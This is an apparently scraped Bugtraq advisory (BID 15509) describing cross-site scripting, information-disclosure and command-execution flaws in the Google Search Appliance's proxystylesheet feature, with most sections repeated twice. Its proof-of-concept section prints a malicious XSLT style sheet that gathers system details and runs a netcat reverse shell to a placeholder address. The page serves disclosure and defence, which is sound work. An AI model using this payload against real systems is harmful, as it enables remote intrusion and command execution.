Google Search Appliance ProxyStyleSheet Multiple Remote Vulnerabilities
BID:15509
Info
Google Search Appliance ProxyStyleSheet Multiple Remote Vulnerabilities
| Bugtraq ID: | 15509 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 21 2005 12:00AM |
| Updated: | Apr 03 2006 06:48PM |
| Credit: | H D Moore <[email protected]> is credited with the discovery of these issues. |
| Vulnerable: |
Google Search Appliance 0 Google Mini Search Appliance 0 |
| Not Vulnerable: | |
Discussion
Google Search Appliance ProxyStyleSheet Multiple Remote Vulnerabilities
The Google Search Appliance 'proxystylesheet' feature is susceptible to multiple remote vulnerabilities. These issues are due to a failure of the devices to securely implement user-specified XSLT style sheets when displaying search results.
These flaws allow attackers to execute cross-site scripting, information disclosure, and remote command-execution attacks against the users of affected devices or against the devices themselves.
Attackers may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Attackers may leverage the information-disclosure issues to determine the existence of arbitrary files on the targeted computer or to port-scan networks that are accessible to affected devices. This may aid attackers in further attacks.
Attackers may leverage the command-execution vulnerability to execute arbitrary commands as an unprivileged user.
The Google Mini Search Appliance is confirmed vulnerable to these issues. The Google Search Appliance may also be affected.
The Google Search Appliance 'proxystylesheet' feature is susceptible to multiple remote vulnerabilities. These issues are due to a failure of the devices to securely implement user-specified XSLT style sheets when displaying search results.
These flaws allow attackers to execute cross-site scripting, information disclosure, and remote command-execution attacks against the users of affected devices or against the devices themselves.
Attackers may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
Attackers may leverage the information-disclosure issues to determine the existence of arbitrary files on the targeted computer or to port-scan networks that are accessible to affected devices. This may aid attackers in further attacks.
Attackers may leverage the command-execution vulnerability to execute arbitrary commands as an unprivileged user.
The Google Mini Search Appliance is confirmed vulnerable to these issues. The Google Search Appliance may also be affected.
Exploit / POC
Google Search Appliance ProxyStyleSheet Multiple Remote Vulnerabilities
An exploit is not required to leverage these issues. An example style sheet sufficient to execute commands has been provided:
<xsl:template
name="my_page_footer"
xmlns:sys="http://www.oracle.com/XSL/Transform/java/java.lang.System"
xmlns:run="http://www.oracle.com/XSL/Transform/java/java.lang.Runtime"
>
<!-- Google Mini XSLT Code Execution [metasploit] -->
XSLT Version: <xsl:value-of select="system-property('xsl:version')"/> <br />
XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br />
XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> <br />
OS: <xsl:value-of select="sys:getProperty('os.name')" /> <br />
Version: <xsl:value-of select="sys:getProperty('os.version')" /> <br />
Arch: <xsl:value-of select="sys:getProperty('os.arch')" /> <br />
UserName: <xsl:value-of select="sys:getProperty('user.name')" /> <br />
UserHome: <xsl:value-of select="sys:getProperty('user.home')" /> <br />
UserDir: <xsl:value-of select="sys:getProperty('user.dir')" /> <br />
Executing command...<br />
<xsl:value-of select="run:exec(run:getRuntime(), 'sh -c nc${IFS}255.255.255.255${IFS}53|sh|nc${IFS}255.255.255.255${IFS}53')" />
</span>
</xsl:template>
An exploit for the Metasploit Framework is also available:
An exploit is not required to leverage these issues. An example style sheet sufficient to execute commands has been provided:
<xsl:template
name="my_page_footer"
xmlns:sys="http://www.oracle.com/XSL/Transform/java/java.lang.System"
xmlns:run="http://www.oracle.com/XSL/Transform/java/java.lang.Runtime"
>
<!-- Google Mini XSLT Code Execution [metasploit] -->
XSLT Version: <xsl:value-of select="system-property('xsl:version')"/> <br />
XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br />
XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> <br />
OS: <xsl:value-of select="sys:getProperty('os.name')" /> <br />
Version: <xsl:value-of select="sys:getProperty('os.version')" /> <br />
Arch: <xsl:value-of select="sys:getProperty('os.arch')" /> <br />
UserName: <xsl:value-of select="sys:getProperty('user.name')" /> <br />
UserHome: <xsl:value-of select="sys:getProperty('user.home')" /> <br />
UserDir: <xsl:value-of select="sys:getProperty('user.dir')" /> <br />
Executing command...<br />
<xsl:value-of select="run:exec(run:getRuntime(), 'sh -c nc${IFS}255.255.255.255${IFS}53|sh|nc${IFS}255.255.255.255${IFS}53')" />
</span>
</xsl:template>
An exploit for the Metasploit Framework is also available:
Solution / Fix
Google Search Appliance ProxyStyleSheet Multiple Remote Vulnerabilities
Solution:
The vendor has released advisory GA-2005-08-m to address this issue. Contact the vendor for further information on obtaining the advisory and fixes.
Solution:
The vendor has released advisory GA-2005-08-m to address this issue. Contact the vendor for further information on obtaining the advisory and fixes.
References
Google Search Appliance ProxyStyleSheet Multiple Remote Vulnerabilities
References:
References: